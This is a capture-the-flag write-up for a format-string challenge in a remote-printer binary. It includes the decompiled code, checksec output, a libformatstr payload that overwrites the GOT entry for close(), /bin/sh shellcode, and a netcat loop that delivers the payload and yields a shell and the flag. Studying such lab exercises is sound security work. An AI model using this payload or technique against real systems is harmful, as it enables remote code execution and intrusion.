[](ctf=internetwasche-ctf-2016)[](type=exploit)[](tags=format string)[](tools=libformatstr)[](techniques=format string)
# Remote Printer (exp-80)
>Description: Printer are very very important for offices. Especially for remote printing. My boss told me to build a tool for that task.
>Attachment: exp80.zip
>Service: 188.166.133.53:12377
Unzipping the [file](../exp80.zip) gives us the following.
```bash$ file RemotePrinterRemotePrinter: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3db29aea1dc4af0eb3f7104e529f856256a1d775, stripped```If we run it with```bash$ nc -l -p 8000 -vv```in another terminal.
```bash$ ./RemotePrinterThis is a remote printer!Enter IPv4 address:127.0.0.1Enter port:8000```
gives us a connection on the listening port.```bash$ nc -l -p 8000 -vvlistening on [any] 8000 ...connect to [127.0.0.1] from Hack-Machine [127.0.0.1] 38908%p.%p.%p sent 9, rcvd 0```
```bash$ ./RemotePrinterThis is a remote printer!Enter IPv4 address:127.0.0.1Enter port:8000Thank you, I'm trying to print 127.0.0.1:8000 now!0xffc8425c.0x2000.(nil)```So yeah! Format string exploitation!
A quick decompilation with [Hopper](https://www.hopperapp.com/) gives us```cfunction sub_80486d5 {    eax = *stdout;    setbuf(eax, 0x0);    puts("This is a remote printer!");    printf("Enter IPv4 address:");    __isoc99_scanf(0x804896e, var_18);    printf("Enter port:");    __isoc99_scanf(0x804897f, 0x0);    printf("Thank you, I'm trying to print %s:%d now!\n", var_18, 0x0);    esp = (((((((esp - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10;    sub_8048786(var_18, 0x0);    return 0x0;}function sub_8048786 {    esp = (esp - 0x4 - 0x4 - 0x4 - 0x4) + 0x10;    var_C = socket(0x2, 0x1, 0x0);    if (var_C == 0xffffffff) {            puts("No socket :(");    }    else {            inet_addr(arg0);            htons();            esp = (((esp - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10;            if (connect(var_C, 0x2, 0x10) < 0x0) {                    perror("No communication :(\n");            }            else {                    esp = (esp - 0x4 - 0x4 - 0x4 - 0x4) + 0x10;                    if (recv(var_C, var_201C, 0x2000, 0x0) < 0x0) {                            puts("No data :(");                    }                    else {                            printf(var_201C);                            close(var_C);                    }            }    }    return;}```Lets checksec.
```bash$ gdb -q ./RemotePrinterReading symbols from ./RemotePrinter...(no debugging symbols found)...done.gdb-peda$ checksecCANARY    : disabledFORTIFY   : disabledNX        : disabledPIE       : disabledRELRO     : disabled```So NX is disabled. This means we can execute shellcode on the stack.
So a brief strategy : By overwriting a GOT entry for a function the program will use afterthe printf call we can seize control andcan jump to shellcode address.
So here we see printf() is followed by close(). We'll patch the GOT entry for close() to execute our shellcode.
```bash$ readelf -r ./RemotePrinter
Relocation section '.rel.dyn' at offset 0x408 contains 2 entries: Offset     Info    Type            Sym.Value  Sym. Name08049c34  00000806 R_386_GLOB_DAT    00000000   __gmon_start__08049c8c  00001105 R_386_COPY        08049c8c   stdout
Relocation section '.rel.plt' at offset 0x418 contains 16 entries: Offset     Info    Type            Sym.Value  Sym. Name08049c44  00000107 R_386_JUMP_SLOT   00000000   setbuf08049c48  00000207 R_386_JUMP_SLOT   00000000   printf08049c4c  00000307 R_386_JUMP_SLOT   00000000   fgets08049c50  00000407 R_386_JUMP_SLOT   00000000   fclose08049c54  00000507 R_386_JUMP_SLOT   00000000   htons08049c58  00000607 R_386_JUMP_SLOT   00000000   perror08049c5c  00000707 R_386_JUMP_SLOT   00000000   puts08049c60  00000807 R_386_JUMP_SLOT   00000000   __gmon_start__08049c64  00000907 R_386_JUMP_SLOT   00000000   __libc_start_main08049c68  00000a07 R_386_JUMP_SLOT   00000000   fopen08049c6c  00000b07 R_386_JUMP_SLOT   00000000   __isoc99_scanf08049c70  00000c07 R_386_JUMP_SLOT   00000000   socket08049c74  00000d07 R_386_JUMP_SLOT   00000000   inet_addr08049c78  00000e07 R_386_JUMP_SLOT   00000000   connect08049c7c  00000f07 R_386_JUMP_SLOT   00000000   recv08049c80  00001007 R_386_JUMP_SLOT   00000000   close```First we need to locate our input on the stack. A little checking reveals that the first thing on the stack at printf() is the address of our input. Also we can see that ASLR is not enabled on the service as the address remains constant for 5-6 tries (0xffffbcec).
The exploit is pretty straight-forward :
```python>>> from pwn import *>>> shell="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80">>> from libformatstr import *>>> p=FormatStr()>>> p[0x08049c80]=0xffffbcec+0x30>>> pay=p.payload(7,0)>>> print repr(pay+'\x90'*50+shell)'%48412c%14$hn%17123c%15$hnAA\x80\x9c\x04\x08\x82\x9c\x04\x08\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\xb0\x0b\xcd\x80'>>>```
Now the exploit in action :```bash$for i in {1..100}; do python -c "print '%48412c%14\$hn%17123c%15\$hnAA\x80\x9c\x04\x08\x82\x9c\x04\x08\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\xb0\x0b\xcd\x80'"| nc -vv -l -p 443 ; doneListening on [0.0.0.0] (family 0, port 443)Connection from [178.62.254.108] port 443 [tcp/https] accepted (family 2, sport 34495)```
we get a shell```iduid=1010(exp80) gid=1010(exp80) groups=1010(exp80)lsRemotePrinterflag.txtcat flag.txtIW{YVO_F0RmaTt3d_RMT_Pr1nT3R}uname -aLinux serv1.2016.ctf.internetwache.org 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt20-1+deb8u3 (2016-01-17) x86_64 GNU/Linux```
flag>IW{YVO_F0RmaTt3d_RMT_Pr1nT3R}